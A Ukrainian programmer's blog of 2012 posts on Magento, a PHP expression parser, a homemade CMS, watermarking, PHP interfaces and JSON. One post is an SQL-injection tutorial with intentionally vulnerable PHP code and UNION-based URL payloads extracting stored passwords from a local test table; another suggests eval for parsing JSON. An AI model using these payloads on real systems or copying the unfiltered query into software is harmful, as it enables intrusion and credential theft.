Лис 06 2012
 

Так сталося у моєму житті що зараз працюю у міжнародній компанії котра спеціалізується на підтримці системи  Magento та розробці модулів для неї. Це вже триває 2 місяці і  можна сказати вже остаточно що я став Magento девелопером. Спочатку у мене був випробувальний термін на якому я мав виконати 6 завдань по Magento. Завдання потрібно було виконати за місяць але мені вдалося це зробити менше ніж за 2 тижні. На мій подив мені сказали що завдання я виконав відносно добре, тоді я зрозумів що з такою “твариною” як Magento можна працювати і боротися. Чому я сказав твариною? Тому що це справді складна система у структурі якої потрібно навчитися орієнуватися і дебажити її.

Що таке Magento для програміста?

Якщо ви не знайомі з Magento, то освоївши її ви у більшості випадків значно піднімете свій рівень програмування. Перш за все для програміста Magento дає розвиток . У Magento ви рідко зустрінете приклади поганого коду (у ядрі) від яких хочеться блювати. Система настільки крута що навіть має свої власні стандарти програмування!

У чому складність Magento?

Мадженто активно використовує ООП. Але не поспішайте робити висновки. В мадженто є не просто є якісь класи які реалізують якісь інтерфейси. В Мадженто активно використовуються такі речі як спадкування, поліморфізм методів, структури даних (не масиви а контейнери об’єктів із власними інтерфейсами) і багато інших цікавих речей. Створюючи модуль для Magento, ви у більшості випадків будете робити свої класи похідними від базових класів у Magento тим самим наділяти свої модулі вже реалізованим можливостями у базових класах. Ви не просто пишете код модуля, кидаєте у якусь папку і намагаєтесь примусити його працювати і десь на фронтенді виводити дані. Ви вливаєте свій модуль в ієрархію класів Magneto. Також варто сказати про паттерни ООП котрих в Мадженто достатньо.

Мадженто активно використовує XML. XML – місце у якому живе конфігурація Мадженто. Через XML можна генерувати елементи фронтенду, перенаправляти та перевантажувати модулі, вказувати ресурси для кожного модуля, вказувати версії модулів на основі яких працює апгрейд модулів, зберігати конфігураційні параметри для кожного модуля окремо. Весь лейаут сайту на Мадженто формується на основі XML файлу. У цей файл кожен модуль може вносити свої корективи і тим сами перекривати і змінювати лейаут. Ієрархія існує навіть на рівні XML. Якщо модуль хоче вписати якийсь свій блок у інший блок лейаута, ми просто вказуємо в окремому файлі модуля які елементи дефолтного лейаута ми хочемо перекрити/замінити і тоді Мадженто застосує наші елементи лейаута замість стандартних.

Просунута модель MVC.

Окрім стандартних моделей, котролерів та в’юшок, Мадженто використовує класи типу Block, Helper які є безпосередньою частиною диспетчеризації запиту до системи. Ваш модуль не буде працювати якщо ваш котроллер, що вказаний у xml-файлі конфігурації, не буде знаходити у відповідній папці. І навпаки, якщо ви створили контролер але про нього немає згадок в xml-файлі конфігурації – для мадженто його не існує. Класи типу  Block це фішка Мадженто. Кожен структурний блок лейаута, має свій клас на стороні php що підтримує його і надає йому “розуму”. По суті якщо ви маєте в xml якийсь струтурний блок типу header , то цей блок напевне буде відображений у phtml файлі header.phtml а мізки його будуть об’єктом класу типу Block . Таким чимном у файлі  header.phtml , вказівник $this буде вказувати на свій власний об’єкт типу  Block Helper-и це помічники які часто є не обов’язковими але все одно широко використовуються в Мадженто. Helper не прив’язаний до конкретного модуля і може використовуватися у різних модулях.

Абстракція – ще одна абстракція – ще одна абстракція – база даних.

Якщо ви будете шукати в Мадженто чисті sql-ні запити, то вам напевно це не одразу вийде. Справа в тому що Мадженто слідує парадигмі ORM . Ви будете записувати дані в об’єкти і викликати метод save. Дані будуть потрапляти у базу даних за допомогою внутрішніх механізмів динамічного формування запитів. Для тих хто знайомий з популярними фреймворками це не буде новиною, так як такі речі використовуються досить часто.

EAV

Мадженто використовує паралельно із “плоскими” таблицями у базі даних – структуру типу EAV. Ви можете просто додавати нові атрибути до своїх сутностей у коді і не думати про модифікацію таблиць у базі даних та додавання нових полів у таблицях. Я не буду розповідати що таке EAV, кому цікаво то візьміть якусь книжку і почитайте.

Я багато чого не сказав про Мадженто, можливо у наступних публікаціях буду розповідати про створення модулів для цієї системи. До зустрічі у коментарях.

Вер 30 2012
 

Сьогодні хочу поділитися з тими, хто любить помучити свою голову всілякими скриптами, одинм цікавим скриптиком. Цей скрипт називається “Послідовно-рекурсивний аналізатор математичних виразів”. Що це означає? Це означає що він вміє вираховувати математичні вирази слідуючи усім правилам математики. Тобто він вміє працювати з операторами такими як : +,  -, *, /, а також знає що вирази в дужках мають вищий пріоритет і повинні обчислюватися в першу чергу.

Перед тим як я покажу джерельний код, я хочу сказати кілька слів про математичні вирази з точки зору програмування. Ми не можемо приступати до створення такого аналізатора не маючи алгоритму згідно якого він  буде працювати. І так, нехай математичний вираз це послідовність рівнозначних складових частин з які потрібно зпарсити а потім скласти в один результат.

9+2-4*2 = 3

Усі ми знаємо що оператори множення та ділення мають вищий пріоритет ніж оператори додавання та віднімання. Тобто можна грубо заявити що рівнозначними частинами (далі термами) є частини виразу котрі розділені операторами + та -. У вище приведеному виразі буде 3 рівнозначні частини а не 4. Перша 9, друга 2, третя 4*2. Я кажу три частини бо слідуючи правилам математики перемноження 4*2 відбудеться в першу чергу а вже потім воно перетвориться в рівнозначний терм такий як 9 і 2.

А тепер трішки про вирази в дужках. Аналізатор повинен мати рекурсивний спосіб визначення виразів у дужках. Тобто якщо він натрапляє на вираз у дужках, він виконує рекурсивне його обчислення а потім повертається до того місця де відбувся рекурсивний виклик і “верхній” виклик продовжує обчислення.

3+(5*5) = 28

Коли аналізатор почне працювати з вище приведеним виразом, він візьме перший терм який буде числом 3, потім він візьме оператор + і збереже його. Потім аналізатор натрапить на символ відкриваючої дужки “(“, і тут потрібна рекурсія. В цей момент, аналізатор повністю парсить вираз у дужках, потім створює новий об’єкт (локальний) аналізатора і дає йому обчислити вираз у дужках. Як тільки другий аналізатор обчислює вираз у дужках, він повертає результат першому аналізатору і перший продовжує свою роботу підставляючи замість виразу у дужках готовий результат.

3+(5*(5-1)) = 23

Виразів у дужках може буи багато і тому аналізатор завжди готовий створити новий аналізатор який допоможе йому вичислити наступний вираз у дужках. У вище приведеному прикладі буде окрім основного виклику аналізатора (calculate), два додаткових рекурсивних виклики. Перший буде вираховувати (5*(5-1)) а другий (5-1).

І так якщо ви вже готові то я даю джерельний код:




<?php
	error_reporting(E_WARNING);
	class Calculator {
		private $expr;
		private $pos;
		private $operator;
		private $result;
		
		private $margin;
		
		public function __construct(){
			$this->margin = 0;
		}
		
		private function error($message, $code=1){
			echo "<p>".$message."<br/>CODE =".$code."</p>";
		}
		
		private function getToken(){
			while(strlen($this->expr) > $this->pos && $this->expr[$this->pos] == " ") {
				$this->pos++;
			}
			if($this->pos < strlen($this->expr)) {
				$token = $this->expr[$this->pos];
				$this->pos++;
				return $token;
			} else {
				return "END";
			}
		}
		
		public function getOp(){
			return $this->operator;
		}
		
		public function calculateExpression(){
			$localExpr = "";
			$countOfOpen = 1;
			$countOfClosed = 0;
			while($countOfClosed != $countOfOpen  && $this->pos < strlen($this->expr)){
				if($this->expr[$this->pos] == "(") {
						$countOfOpen++;
				}
				if($this->expr[$this->pos] == ")") {
						$countOfClosed++;
				}
				$localExpr .= $this->expr[$this->pos];
				$this->pos++;
			}
			if($this->pos >= strlen($this->expr) && $countOfClosed != $countOfOpen) {
				$this->error("Wrong nuber of parentless", 1);
				return false;
			}
			$localCalculator = new Calculator();
			return $localCalculator->calculate($localExpr); // $localExpr start wihout first "(" - " localExpr) "
		}
		
		private function getTerm($term=""){
			$this->margin += 20;
			$term = (string) $term;
			$delimiters = array("+", "-", "(", ")", "END");
			$token = $this->getToken();
			
			while(!in_array($token, $delimiters)){
				$term .= $token;
				$token = $this->getToken();
			}
			
			switch($token) {
				case "+" :
				$this->operator = "+";
				break;
				case "-" :
				$this->operator = "-";
				break;
				case "END" :
				break;
				case "(" :
				$term = $this->getTerm($term.$this->calculateExpression());
				break;
				case ")" :
				break;
			}
			return $this->calculateTerm($term);
			$this->margin -= 20;
		}
		
		//this method take clean term without nested expressions
		private function calculateTerm($term){
			$term = (string) $term;
			$res = $partRes = "";
			$pos = 0;
			$op = "";			
			while(isset($term[$pos]) && $term[$pos] == " ") {
				$pos++;
				continue;
			}
					
			$delimiters = array("*", "/");
			//first part
			while(isset($term[$pos]) && strlen($term) > $pos && !in_array($term[$pos], $delimiters)) {
				$res .= $term[$pos];
				$pos++;
				continue;
			}
			//first operator
			switch($term[$pos]){
				case "/" :
				$op = "/";
				break;
				case "*" :
				$op = "*";
				break;
			}
			// next symbol
			$pos++; 

			while(strlen($term) > $pos) {
				while(strlen($term) > $pos && !in_array($term[$pos], $delimiters)) {
					$partRes .= $term[$pos];
					$pos++;
					continue;
				}
				switch($op){
					case "/" :
					$res /= $partRes;
					break;
					case "*" :
					$res *= $partRes;
					break;
				}
				$partRes = "";
				$pos++;
			}
			return $res; 
		}
		
		public function calculate($expr, $pos=0){
			$this->expr = $expr;
			$this->pos = $pos;
			$this->result = $term = $this->getTerm();
			 
			while($term != false){ 
				$op = $this->getOp();
				$term = $this->getTerm();
				switch($op){
					case "+" :
					$this->result += $term;					
					break;
					case "-" :
					$this->result -= $term;
					break;
				}
			}			
			return $this->result; 
		}
	}
	
	$calc = new Calculator();
	$expr1 = "(1+2)*6";
	$expr2 = "4/2";
	$expr3 = "2*(8/2)";
	$expr4 = "9-6/2+(2*3)-1";
	$expr5 = "3+(5*(5-1))";
	echo $expr1." = ".$calc->calculate($expr1)."<br/>";
	echo $expr2." = ".$calc->calculate($expr2)."<br/>";
	echo $expr3." = ".$calc->calculate($expr3)."<br/>";
	echo $expr4." = ".$calc->calculate($expr4)."<br/>";
	echo $expr5." = ".$calc->calculate($expr5)."<br/>";
	/* Вивід
		(1+2)*6 = 18
		4/2 = 2
		2*(8/2) = 8
		9-6/2+(2*3)-1 = 11
		3+(5*(5-1)) = 23
	*/
	
?>



Такий аналізатор можна легко розширити для використання змінних. Можна просто додати масив у якому будуть зберігатися змінні і додати до аналізатора логіку для ініціалізації змінних ( var = 5; ) та для підстановки значення змінних ( 5 + var + 2 = 12). Хочу зауважити що аналізатор “сирий” і я не гарантую що він не закрашиться при будь-яких виразах, я буду вдячний якщо ви вкажете на помилки.

Вер 14 2012
 

Пам’ятаєте я писав про те що створюю власну CMS ? Кілька місяців тому я вже вітзвітувався по роботі і навіть кинув посилання на попередню версію мого дітища. Подивитися попередню версію . Недавно я вирішив розробити новий модуль для інтернет магазину. Так як моя CMS, котру я назвав MFCMS, слідує архітектурі MVC , її легко нашпіговувати новими модулями і масштабувати як завгодно. За що я люблю MVC, так це за зрозумілу структуру файлів сайту. Я завжди швидко знаходжу файл у якому потрібно зробити зміни, і це дозволяє дуже сильно зменшити затрати часу на дебаг .

І так модуль інтернет магазину можна подивитися тут . Не кидайте камінням бо це ще тестова бета версія і помилки будуть виправлятися поступово. Неможливо зробити стабільну програму або скрипт за один прохід. Який би ти не був крутий кодер а помилки все одно лізуть.

Що я хотів зробити?

Я знаю що нічого особливого немає у цьому модулі. Основними принципами при його створенні були: мінімалізм та інтуїтивність. Мені потрібно щоб людина без особливих зусиль, зробивши кілька кліків, змогла зробити замовлення в магазині.

Що маю на даний момент?

На даний момент CMS має наступні модулі:

  • модуль Blog (пости, категорії, деревовидні коментарі з голосувалкою і пагінацією, теги)
  • модуль Page (статичні сторінки з тегами без коментарів)
  • модуль Seo (виставляє мета теги для пошукової оптимізації)
  • Модуль RSS (нові пости транслюються через RSS-фід)
  • Модуль Gallery (галереї із зображеннями)
  • Модуль Shop (каталог товарів, сторінка товару, кошик з товарами, сторінка оформлення замовлення, бренди товарів, категорії товарів, галереї для товарів, …)
  • Модуль FileManager (завантаження фалів на сервер,інструменти перегляду та обрізки зображень, створення та видалення  папок на сервері)
  • Модуль Widgets (створення та редагування віджетів (банерів) у стилі drag and drop, працює на javascrip+ajax+php+mysql)

Не знаю чи буду ще щось доробляти у майбутньому чи не буду. Поки що хочу трохи протестувати і зменшити кількість багів до мінімуму.

До побачення, до наступних зустрічей!

Сер 21 2012
 

Sql-ін’єкція –  це модифікація запиту до сервера бази даних з метою отримання будь-яких даних котрі можуть становити певний інтерес для хакера. Зазвичай цими даними є логіни, паролі, емейли користувачів і т.д. Ви напевне думаєте що зараз мало сайтів які мають вразливість до sql-ін’єкцій, але це не так,  код пишуть люди, а людям властиво помилятися.

Розглянемо простий випадок при якому можна здійснити sql-ін’єкцію. Нехай у нас буде проста таблиця в базі даних  із назвою  users .

CREATE TABLE users (
id int not null auto_increment PRIMARY KEY,
login varchar(50),
password varchar(50),
email varchar(50)
) default charset utf8;


Додаємо в таблицю 2 записи з даними

insert into users values('1', 'taras', '12345', 'taras@mail.ru');
insert into users values('2', 'stepan', 'qwerty', 'stepan@mail.ru');


Sql-ін’єкція можлива при умові коли є наявність вразливого параметра, котрий підставляється у sql-запит. Зазвичай такі параметри передаються через URL. Вразливий параметр це той котрий недостатньо фільтрується, тобто цей параметр можна змінити так що запит до БД вже буде мати зовсім іншу суть.

Розглянемо наступний вразливий код який дозволяє легко здійснити sql-ін’єкцію.
<?php
$query = "SELECT * FROM users WHERE id = ".$_GET["user_id"]."";
$user = mysql_fetch_assoc(mysql_query($query));
echo "Hello ".$user["login"]; 
?>

Як бачите, параметр $_GET["user_id"] ніяк не фільтрується і це можна використати. http://site.com/test.php?user_id=1 виводить логін користувача з id рівним 1

Запит до бази даних SELECT * FROM users WHERE id = 1
Результат - "Hello taras"

Переходимо по наступному URL http://site.com/test.php?user_id=1′

Запит до бази даних SELECT * FROM users WHERE id = 1'
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"

Як можна помітити, символ кавички підставився у запит до бази даних, через що останній став синтаксично неправильним. Це означає що в параметр $_GET["user_id"] можна модифікувати з метою отримання секретних даних.

Тепер буде невеличкий огляд одного корисного оператора СУБД Mysql. Цей оператор називається UNION, і ми будемо його використовувати для отримання секретних даних через sql-ін’єкцію. Нехай секретнимми даними для нас будуть емейл та пароль користувача з логіном “taras”.

Оператор UNION використовується для об’єднання кількох запитів SELECT в один результуючий набір даних. Наприклад:
SELECT * FROM users UNION SELECT 1 , 2, 3, 4 FROM users WHERE id =1;
Результат:

id login password email
1 taras 12345 taras@mail.ru
2 stepan qwerty stepan@mail.ru
1 2 3 4


Замість колонок, у другому операторі SELECT, ми підставили звичайні цифри 1,2,3,4. Цей запит успішно виконався і в результаті вибірки з’явився третій рядок із цифрами 1,2,3,4.
Важливою вимогою для оператора UNION є те, що кожен додатковий запит SELECT повинен вибирати таку саму кількість колонок яку вибирає перший запит SELECT.
SELECT * FROM users UNION SELECT 1 , 2, 3 FROM users WHERE id =1; - невалідний запит, кількість колонок не співпадає.
Результат - "The used SELECT statements have a different number of columns"

Реалізуємо sql-ін’єкцію

Тепер у нас є все щоб реалізувати sql-ін’єкцію. Ми маємо вразливий скрипт із вразливим параметром, давайте будемо підбирати кільксть колонок. Будемо закінчувати модифікацію вразливого параметру символом комантарів “–”, це потрібно для того щоб відсікти весь запит який може йти після вразливого параметру у реальному прикладі. Зауважте що символ “+” в URL, в подальшому конвертується в пробіл.

http://localhost/site.com/test.php?user_id=1+union+select+1+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1 --
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"


http://localhost/site.com/test.php?user_id=1+union+select+1,2+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,2 --
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"


http://localhost/site.com/test.php?user_id=1+union+select+1,2,3+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,2,3 --
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"


http://localhost/site.com/test.php?user_id=1+union+select+1,2,3,4+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,2,3,4 --
Результат - "Hello taras"

Ура, ми підібрали правильну кількість колонок, тепер, у результаті останнього запиту мають знаходитися наші вибрані циферки 1,2,3,4. Ми їх не бачимо бо в коді ці поля не виводяться, зате ми знаємо що виводиться поле “login”, це ми і будемо використовувати. У нашому випадку ми знаємо що поле логін є другим по порядку в таблиці users. В реальних ситуаціях ми цього не знаємо, і це дещо ускладнює вивід потрібних даних.

Модифікуємо наш запит так щоб у другому запиті SELECT, замість цифри 2 виводилося поле password з таблиці users. Також обов’язково зауважте що потрібно додати умову “from users where id=1″ , тому що другий запит повинен знати звідки йому вибирати це поле password.

http://localhost/site.com/test.php?user_id=1+union+select+1,password,3,4+from+users+where+id=1--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,password,3,4 from users where id=1--
Результат - "Hello taras"


Ура, запит успішно виконався і тепер пароль користувача з id = 1 знаходиться в результаті вибірки даних. Але от халепа, цей пароль ніде не виводиться, як же нам його взнати? А взнати його дуже просто, треба модифікувати перший запит SELECT так, щоб він став невалідним, і тоді замість другої колонки в першому SELECT-і, підставиться друга колонка із другого SELECT-ту.
Ми просто ставимо знак мінус “-” перед параметром id. Фінальний URL повинен мати наступний вигляд:

http://localhost/site.com/test.php?user_id=-1+union+select+1,password,3,4+from+users+where+id=1--

Запит до бази даних SELECT * FROM users WHERE id = -1 union select 1,password,3,4 from users where id=1--
Результат - "Hello 12345"


Тепер ви бачите що замість логіна вивелося “12345″ , це і є пароль першого користувача.

http://localhost/site.com/test.php?user_id=-1+union+select+1,password,3,4+from+users+where+id=2--

Запит до бази даних SELECT * FROM users WHERE id = -1 union select 1,password,3,4 from users where id=2--
Результат - "Hello qwerty" - пароль користувача з id = 2


Ось через такі підставляння кавичок в URL були зламані дуже багато сайтів, переважно це самописні сайти. Якщо ви користуєтеся популярною CMS, то скоріше усього вона не надто вразлива до даного виду атаки, бо в таких CMS такі вразливості швидко виправляються, якщо ці вразливості стали відомі) На останок хочу порадити добре фільтрувати усі дані які ви отримуєте у своїх скриптах, не слід зневажати на такі речі. Успіху вам!

Чер 28 2012
 

Люди котрі займаються створенням сайтів і їх наповненням, багато часу витрачають на пошук контенту і в тому числі графічного конетнту. Дуже неприємно коли ваші картинки просто тирять і використовують на інших сайтах. Особливо це актуально для фотографів, фотографії для них являються результатом їхньої праці і вони дуже дорожать ними. Хочу поділитися простеньким php-скриптом для нанесення на зображення водяного знаку, котрий забезпечить вашим фотографіям мінімальний захист від копіпасту.




<?php
	set_time_limit(0);

	function watermarker($dir)
	{
		$handle = opendir($dir);

		while($file = readdir($handle))
		{
			if($file != "." && $file != "..")
			{
				if(is_dir($dir."/".$file))
				{
					$newDir = $dir."/".$file;
					watermarker($newDir);	
				}
				else
				{
					$im = null;
					
					if(preg_match("#jpg#", $file))
					{
						$im = imagecreatefromjpeg($dir."/".$file);
					}
					
					if(preg_match("#png#", $file))
					{
						$im = imagecreatefromjpng($dir."/".$file);
					}
					
					if($im != null)
					{
						$sx = imagesx($GLOBALS['stamp']);
						$sy = imagesy($GLOBALS['stamp']);
						//Наносимо водяний знак
						imagecopy($im, $GLOBALS['stamp'], imagesx($im) - $sx - $GLOBALS['margin_right'], imagesy($im) - $sy - $GLOBALS['margin_bottom'], 0, 0, imagesx($GLOBALS['stamp']), imagesy($GLOBALS['stamp']));
						imagejpeg($im, $GLOBALS['destinationPath'].$file);
						imagedestroy($im);
					}
					
				}
				
			}
		}
		
	}
	// Завантажуємо водяний знак із файлу
	$stamp = imagecreatefrompng('stamp.png');
	
	//Шлях для збереження картинок після нанесення водяного знаку
	$destinationPath = "D:\\sss\\";
	
	// Відступи від правого нижнього кута
	$margin_right  = 10;
	$margin_bottom = 10;
	
	//Папка з оригінальними зображеннями
	$sourceFolder = "D:\\ttt";
	
	//Запуск
	watermarker($sourceFolder);
		
?>



Функція працює рекурсивно і вона може знайти зображення навіть у вкладених папках на будь-якій глибині. Перед тим як запустити функцію, вам потрібно підготувати свій водяний знак. Просто створіть пнгшку в фотошопі і збережіть її у файлі під назвою stamp.png. Перед запуском, переконайтеся в тому що пнгшка з водяним знаком знаходиться в одній папці з php скриптом. Я використовую цей скрипт для захисту скріншотів фільмів і отримую наступний результат.

Зверніть увагу, скрипт не видаляє оригінальні зображення а просто робить копії з нанесеними водяними знаками.

Кві 17 2012
 

Учора зробив українську локалізацію зручного та швидкого файлового менеджера для сайту. Файловий менеджер дозволяє завантажувати одразу декілька файлів на сервер, у попередньо обрану папку. Після завантаження файли можна легко редагувати, а саме, перейменовувати , змінювати розмір , видаляти , виконувати копіювання в інші папки і т.д. Також ви зможете створювати та видаляти підпапки у вже інсуючих папках, а також переносити непотрібні файли в кошик . Відображення файлів у менеджері нагадує відображення файлів в операційні системі windows.

Вигляд робочого вікна файлового менеджера

Вигляд робочого вікна файлового менеджера

Розмір файлового менеджера рівний 2,35 mb, і його встановлення займе кілька хвилин.

Встановлення файлового менеджера:

  1. Завантажте архів з файловим менеджером. ( Завантажити )
  2. Розпакуйте архів в кореневу папку вашого веб-сервера.
  3. Відкрийте папку  ckfinder і у ній відкрийте файл  config.php.
  4. Знайдіть рядок  define(“BASEURL”,” http://mysite.com “); та замініть   http://mysite.com на url вашого сайту.
  5. У цьому ж файлі, знайдіть рядок  $baseUrl = BASEURL.’ /files/fileManager/ ‘; та замініть /files/fileManager/ на шлях де б ви хотіли щоб файлменеджер зберігав завантаженні файли.
  6. У файлі config.js в рядку  config.language = ‘ uk ‘; можна встановити мову локалізації. Доступними є українська ( uk ), російська ( ru ) та англійська ( en ).

Перейдіть по адресу  http://mysite.com/ ckfinder/ckfinder.html, ви потрапите у готовий для роботи файловий менеджер .

Кві 06 2012
 

Інтерфейс ( interface   ) – одна із концепцій ООП яка дозволяє написати код що буде вказувати на методи котрі повинен забезпечити клас але не буде містити конкретної реалізації цих методів.

Інтерфейси бувають дуже корисними при роботі із зовнішніми класами. Уявіть собі що ваша програма використовує зовнішній клас, відповідно вона являєтся клієнтом по відношенню до цього класу. Реалізація класу займає понад 3000 рядків коду і вам знадобиться багато часу щоб навчитися використовувати цей клас. Дуже зручно коли такі класи реалізовують інтерфейс. Поглянувши на код інтерфейсу ви одразу зрозумієте що це за клас і з “чим його готувати”.)

Ще одним чудовим способом використання інтерфейсів, є використання їх для вираження якогось загального функціоналу для цілої групи класів. Це схоже на наслідування, коли похідні класи створюються на основі базового класу, тільки інтерфейси клас не наслідує, він їх реалізує. Коли ціла група класів реалізує один інтерфейс, то ознайомившись з інтерфейсом, ви точно будете знати які методи підтримують усі ці класи.

У сьогоднішній публікації я покажу один із способів використання такої штуки як інтерфейс. Ми будемо створювати новий тип даних і реалізуємо цей тип даних через класи. Назвемо наш новий тип даних “буфер”. Під буфером будемо розуміти якийсь контейнер для зберігання даних.

Створення буфера розпочнемо із створення інтерфейсу. Саме в інтерфейсі ми вкажемо які методи буде мати кожна реалізація буфера.




<?php
 interface Buffer
 {
   public function set($key, $data);

   public function get($key);

   public function clean($key);

   public function key_exists($key);
 }
 ?>



В інтерфейсі описано 3 методи доступу до даних (set, get, clean) і один службовий метод key_exists. Судячи із назви методів можна зрозуміти що в буфер можна додавати елементи і вказувати ключ, отримувати елемент по ключу, очищувати елемент по ключу.  Двавайте тепер розглянемо просту реалізацію цього інтрфейсу у вигляді класу SimpleBuffer.




<?php
class SimpleBuffer implements Buffer {

 public $dataBuffer;

 public function __construct(){
 $this->dataBuffer = array();
 }

 public function set($key, $data){
 $this->dataBuffer[$key] = $data;
 }

 public function get($key){
 if($this->key_exists($key)){
 return $this->dataBuffer[$key];
 }
 }

 public function clean($key){
 if($this->key_exists($key)){
 unset($this->dataBuffer[$key]);
 }
 }

 public function key_exists($key){
 if(array_key_exists($key, $this->dataBuffer)) {
 return true;
 }
 return false;
 }
 }
?>



Як бачите клас  SimpleBuffer пообіцяв інтерфейсу Buffer реалізувати усі методи інтерфейсу і тепер зобов’язаний виконати свою обіцянку. Реалізація класу дуже тривіальна, я задумав її такою щоб не ускладнювати код і не відхилятися від теми інтерфейсів в ООП.

Ми бачимо що клас обіцяє реалізувати інтерфейс Buffer  словами class SimpleBuffer implements Buffer, таким чином, глянувши на інтерфейс   Buffer ми точно будемо знати що саме вміє робити клас   SimpleBuffer . Ми можемо бути впевненні що клас реалізує методи:   set, get, clean та  key_exists, і це те що нам потрібно для того щоб приступити до роботи із класом .

Працюємо з класом  SimpleBuffer




<?php

require_once "Buffer.php";
require_once "SimpleBuffer.php";

$buffer = new SimpleBuffer();

$buffer->set("name", "John"); //Додаємо в буфер елемент

echo $buffer->get("name");//Виводимо цей елемент у браузер

echo $buffer->clean("name");//Видаляємо елемент

echo $buffer->get("name");//Нічого не виведе

?>



Одного прекрасного дня нам може знадобитися буфер який володіє іншими властивостями, наприкла такий буфер який зберігає свої елементи між запитами тобто має постійну пам’ять. Але нам би дуже хотілося щоб методи роботи з новим буфером не відрізнялися від методів роботи із нашим простим буфером. Таким чином нам потрібно створити нову реалізацію буфера на основі одного і того ж уніфікованого інтерфейсу.
Реалізовуємо буфер з постійною пам’ятю




<?php 
	class SessionBuffer implements Buffer {
		
		public function __construct(){
			if(!isset($_SESSION["SessionBuffer"])) {
				$_SESSION["SessionBuffer"] = array();
			}
		}
		
		public  function set($key, $data){
			$_SESSION["SessionBuffer"][$key] = $data;
		}
		
		public  function get($key){
			if($this->key_exists($key)){
				return $_SESSION["SessionBuffer"][$key];
			}
		}
		
		public  function clean($key){
			if($this->key_exists($key)){
				unset($_SESSION["SessionBuffer"][$key]);
			}
		}
		
		public  function key_exists($key){
			if(!isset($_SESSION["SessionBuffer"])) {
				$_SESSION["SessionBuffer"] = array();
			}
			if(array_key_exists($key, $_SESSION["SessionBuffer"])) {
				return true;
			}
			return false;
		}
		
	}
?>



Як ви можете помітити, SessionBuffer також реалізує інтерфейс Buffer але для збереження даних використовує масив $_SESSION. Таким чином дані цього буфера будуть існувати впродовж усієї сесії роботи із програмою. Тепер тестуємо наші буфери на практиці.




<?php
	session_start();
	require_once "Buffer.php";
	require_once "SessionBuffer.php";
	require_once "SimpleBuffer.php";
	
	$simpleBuffer = new SimpleBuffer();
	
	$simpleBuffer->set("about_petro", "Петро живе у простому буфері і його значення існує тільки до закінчення інтерпритації программи");
	
	echo $simpleBuffer->get("about_petro")."<br/>";//Петро живе у простому буфері і
// його значення існує тільки до закінчення інтерпритації программи

	
	
	$permanentBuffer = new SessionBuffer();
	
	$permanentBuffer->set("about_taras", "Тарас живе у постійному буфері і його значення не зникає після закінчення інтерпритації программи");
	
	echo $permanentBuffer->get("about_taras")."<br/>"; //Виведе : Тарас живе 
//у постійному буфері і його значення не зникає після закінчення інтерпритації программи

?>



Перевіряємо чи працює постійний буфер




<?php
	session_start();
	require_once "Buffer.php";
	require_once "SessionBuffer.php";
	require_once "SimpleBuffer.php";
	
	$simpleBuffer = new SimpleBuffer();
	/*
	$simpleBuffer->set("about_petro", "Петро живе у простому буфері і його значення існує тільки до закінчення інтерпритації программи");
	*/
	echo $simpleBuffer->get("about_petro")."<br/>";//
// Нічого не виведе бо це простий буфер

	
	
	$permanentBuffer = new SessionBuffer();
	/*
	$permanentBuffer->set("about_taras", "Тарас живе у постійному буфері і його значення не зникає після закінчення інтерпритації программи");
	*/
	echo $permanentBuffer->get("about_taras")."<br/>"; //Виведе : Тарас живе 
//у постійному буфері і його значення не зникає після закінчення інтерпритації программи

?>



Сподіваюся що цей урок був для вас корисним і дякую за увагу. На домашнє завдання можете реалізувати буфер який має постійну пам’ять але використовує масив $_COOCKIE для збереження даних.

Бер 01 2012
 

В наш час технологія ajax  дуже частенько використовується на багатьох сайтах. Інтернет магазин без корзини реалізованої на ajax  вже виглядає не модним і застарілим. Прогрес є прогрес, але мені до сих пір невідомо чому ajax так пізно почав широко застосовуватися в вебі, бо з’явився він досить давно.

Згідно офіційних джерел, термін ajax був вперше застосований у 2005 році, для того щоб якимось чином описати клієнтам, замовникам веб-проекту, ті технології які були використані у проекті. Однак самі технології, які тепер модно називати ajax, були доступні ще у далекому 1998 році, і запропоновані компанією Microsoft.

Але сьогоднішня публікація не буде зосереджена на ajax, вона присвячена вона формату json . Також у цьому пості буде приведений реальний приклад використання JSON для передачі багатомірного масиву з php в javascript.

JSON, це універсальний формат представлення даних. JSON є вихідцем з мови javaScript і створений для людино-зрозумілого обміну даними. В json можна перевести прості структури даних, асоціативні масиви, які в мові javaScript називаються об’єктами ( object ).

Графічне представлення циклу передачі даних у форматі json

Графічне представлення циклу передачі даних у форматі json

Кому потрібен цей JSON?
Ви можете зараз запитати: “Кому потрібен цей JSON?”. На перший погляд здається що без JSON можна без проблем передавати будь-які дані просто вивівши їх на екран через php-оператор echo. В такий спосіб справді можна отримати дані, але що робити коли нам буде потрібно передати в javaScript таку річ:




$data = array(
0=>array("id"=>45,"name"=>"Петро"),
1=>array("id"=>61,"name"=>"Тарас"),
2=>array("id"=>11,"name"=>"Іван")
);




Якщо ми хочеме отримати таку саму структуру даних в javaScript – простим echo не обійтися. І тут, на допомогу приходить JSON. В php є функція, котра може перевести певне значення у формат JSON. Ця функція називається json_encode (також існує функція що має зворотню дію – json_decode)

json_encode  — Returns the JSON representation of a value

Ця функція добре справляється з асоціативними масивами, і ми із легкістю можемо зробити наступне:




$data = array(
0=>array("id"=>45,"name"=>"Петро"),
1=>array("id"=>61,"name"=>"Тарас"),
2=>array("id"=>11,"name"=>"Іван")
);
$jsonString = json_encode($data);




Дані в json переведені і на цьому робота php може бути закінчена. Тепер припустимо що ми передали в javaScript наші json-дані, і тут ми можемо з легкістю зпарсити ці дані за допомогою вбудованої по замовчуванню підтримки json-у в javaScript.
javaScript-функція eval може виконати будь-який javaScript-код що переданий їй через аргумент. При отриманні аргументу у форматі json – функція повертає об’єкт. Цей об’єкт і буде представленням нашого багатомірного масиву.

Повний приклад викорситання json, для передачі багатомірного масиву із php в javaScript, використовуючи ajax.

Крок 1. Робимо запит для отримання даних.




$.ajax({
url: 'http://site.com/dataGenerator.php',
